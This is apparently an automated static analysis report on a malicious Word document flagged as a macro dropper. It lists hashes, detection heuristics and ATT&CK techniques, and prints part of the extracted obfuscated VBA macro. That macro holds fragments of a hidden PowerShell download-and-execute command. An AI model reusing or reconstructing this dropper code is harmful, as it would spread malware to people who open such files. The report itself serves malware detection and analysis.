Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 bf18a8ff4e3bff43…

MALICIOUS

Office (OLE)

163.5 KB Created: 2018-02-17 02:07:00 Authoring application: Microsoft Office Word First seen: 2018-02-19
MD5: 4c0996ec429be83c7f4f6b01c4971b90 SHA-1: 0afa7a3009d728865fce0eab928bd1397c8c6857 SHA-256: bf18a8ff4e3bff43210109575ac4315ffee2f1a07e4b04d055dbda30b90d8183
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious OLE document containing VBA macros. A critical heuristic firing indicates the use of the Shell() function within the VBA code, which is commonly used to execute arbitrary commands. The AutoOpen macro marker further suggests automatic execution upon opening. The embedded URL is suspicious and likely points to a malicious payload.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6450940-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6450940-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://EyG+EyGalJNojUsoDRSzqbjqJujccY In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 37352 bytes
SHA-256: 5e045833c7fb678732cffdeedc020904eebae38372c6fba89a1d56b09fea0089
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "vCjhcmhAdsIwSv"
Function DwbhXTV()
On Error Resume Next
JBqzBOEfsVM = 2245765 + Atn(fwDKMqwUVdm) / khODnzUK - Sgn(JbYWJIK * Log(HXqDcfWjdjIGLk)) / (3590641 - ANjVZZ * sBRVXfoDilVOGv - ICrUKNM)
UsAoO = 783653 + Atn(ZIQVw) / pZhawCKJw - Sgn(ojaUq * Log(MMlEhdFPj)) / (6209687 - PwOOSHJwwhfzMz * sPVhmjMDwEjrr - TRrRFvM)
DMiikivmw = 6973597 + Atn(VZQYtojOZGol) / tBuNCtSKjPSlc - Sgn(ojHCfIa * Log(IVLSO)) / (3112745 - KkCadYpXrsSSf * JwnRZriSEIcP - tYCjfCUZiPLwr)
iDbjnUui = (GwuSzQjdNuN) + yHBjksbJKSUgsssd("niEJXhEyG+EyG{}byh+byh}EyG)  -rePLaCEbyh+'+'byh  EyGeb'+'yh+byhcxEyG,[Cbyh+byRnEPRKQRLdjojij", 6, 73)
XkjvzjzIwWd = 5959400 + Atn(bShsaCuvmUf) / AiiqdMhwVNkMC - Sgn(bAZakA * Log(owiHjhpl)) / (9715145 - uzCwKaz * zjjOOhVpRbuW - jfaMhzj)
pIpjlPsQ = 9501011 + Atn(rMWCqMAKQZc) / mTnaiBlqQOrc - Sgn(KUcmdbOpSoUrLr * Log(pGKUuY)) / (9491627 - mmzwzHO * VuEjsXYnwN - TfTiWJcAJDWiaM)
fTKCva = 1660450 + Atn(zddQhDLzzHKQ) / iXWjZdjT - Sgn(coVHF * Log(wMdTkiYJU)) / (9518328 - QTTlPwMi * jABBjcVvBo - awmBkdrjjKOBiI)
bclFWnq = (juzOfwzoJnPKN) + yHBjksbJKSUgsssd("UvCdsZtGimwHidrXJMdWSnCDDhuWGzz", 9, 2)
bszUcwZtItQ = 8103181 + Atn(jSAmHfwQ) / zTsVQVdo - Sgn(lBTuDaBHYXhGVj * Log(vfhRaida)) / (2860123 - wrjOrrwThQ * wmPZkzGbiLim - akoMNQIbET)
HLNzjXZUBfr = 1048390 + Atn(SshfimnPiwt) / rqiWwjPU - Sgn(IoGCm * Log(QIMuTJ)) / (8162698 - GZvzZqWw * rWUXhlcXEl - JEadwjXHRC)
VEciw = 4941840 + Atn(BYbzDj) / dhMKPjRjiWjWP - Sgn(LICwSDsTP * Log(bRNTwGnZqN)) / (1431381 - ztLwizolhfKkpQ * zkdzKShjz - wkcjKjBQ)
lvSQUHAbBm = (szKckHMcIjC) + yHBjksbJKSUgsssd("Ving][CHaR]39) okl.( QgaENV:pUBLic[13]+QgaENV:PUbLIc[5]+byhXbyh)RTX).rePLAcE(([CHar]98+[CHar]121+[zciUnXnhzahjhJBzfcUvzrhhW", 2, 97)
XbquzAXrBVi = 9369131 + Atn(PJNdfMLBXzJ) / cFQLOFBf - Sgn(knqpVCvuVTkU * Log(uwassjSbYww)) / (1866970 - cPcZH * QqiWWnK - QHCjYz)
jYWDqFjtq = 8847669 + Atn(SlWMSMM) / qsjUafR - Sgn(LVDrQcEFiZCUWQ * Log(KHRzrDvwD)) / (5814854 - fdHqjkpG * DwCuphRi - KrpZTVNIiZsQY)
QiRkwKtEGH = 9878951 + Atn(zzazrpS) / PwWOEWHKmQ - Sgn(tmdFK * Log(daCPOEiwpzsG)) / (3720070 - DrNZdwHIlaPG * VFbUr - MNOPPBs)
dzTfHCrtkW = (wwHddijooMQ) + yHBjksbJKSUgsssd("RJjXLYvEnGNzRzG+EyGlewQ'+'gEyG+byh+byhEyG(ecxaEyG+EyGsfc.wEyG+EyGQgToEy'+'G+RTX+RTXEyGSERTX+RTXyG+EyGtEyG+EyGRTX+RTXroY1iERTX+RTXyG+EyMdidoLTj", 15, 120)
tDSCzcTE = 8315639 + Atn(ZpcwYl) / qsMLL - Sgn(WVDBQQBisZnO * Log(niaBwOMMEKZbi)) / (8090709 - nccRoU * nnMMkpXjPoj - zWPrQwzbSLi)
YhkViOHcJl = 5186509 + Atn(asvQwWaYGunp) / dWoXukrwsmY - Sgn(MUptOcIlaKwc * Log(TSJHrbcB)) / (6175087 - cnvQtjnh * XfjCki - SiEJSaLHbRirB)
fAMdNSowR = 1980777 + Atn(jjANGTLOBndqFk) / QYczJzzWACb - Sgn(pbAvjwbwDBXY * Log(GPCWpjGXs)) / (278078 - OBAwlK * LijVmBrwuinfPA - bChuz)
jtiBzp = (VpcAIEJrOdA) + yHBjksbJKSUgsssd("iuPBSK8),['+'stRiNg][CHar]124) ) ').REPlACE(([ChAr]82+[ChAr]84+[ChAr]88),[string][ChAr]39).REPlACE(([ChAr]72+[GSAlfkPFStpLhFGwXtKD", 7, 104)
KBGiZjjOwTL = 6015024 + Atn(pbjMmJKawQrKo) / JQYMKKRwBdmNo - Sgn(iRFsUSc * Log(jlohWEzMSiNTk)) / (5304063 - QrVbraG * YUzrjLwpV - PkmYcnNB)
IIzaupziPA = 7871470 + Atn(DzUaHEo) / zrlTZ - Sgn(PNXMQBU * Log(sDUrasOhOplvV)) / (4833182 - ZkcWz * iiwKaIPPAknqK - QFQdwm)
ojDjpIfMMNl = 3411885 + Atn(viiqqNwcni) / CNZYjzjzR - Sgn(FzFKRjU * Log(waKYAiNf)) / (6960385 - CRYwITIt * jjiMnzPqkZjYd - IpEMiNrLAP)
wAGdFfifjEH = (vcKtBMtslcB) + yHBjksbJKSUgsssd("FtT+EyGdERTX+RTXyG+EyG.neEyG+E'+'yGxtEyG+EyG(EyG+EyG10000,'+'EyG+EyG 28Ey'+'G+EyG2133EyG+EyG);e'+'cEyG+EyGxEyG+EyGARTX+'+'RTXD'+'CX = EyG+EyGuNVbyh+byh htEyKQjkGKkXBjRDCddtPSsj", 4, 153)
KjVpwwDDjTj = 7678273 + Atn(HEGdjzVj) / wqzaivn - Sgn(BlqXVqpFbz * Log(uLWYLZAkfYq)) / (8572942 - BERhYLJh * atnzrmNR - EAnpDaRnA)
qfGnTjoNmB = 6468485 + Atn(IEKsXWQ) / HhQqzbkdk - Sgn(hOWNBls * Log(LBrPkKbWKV)) / (6666951 - ZVWoJqoKnNTwj * TTouDYAsK - irwGOdQ)
... (truncated)

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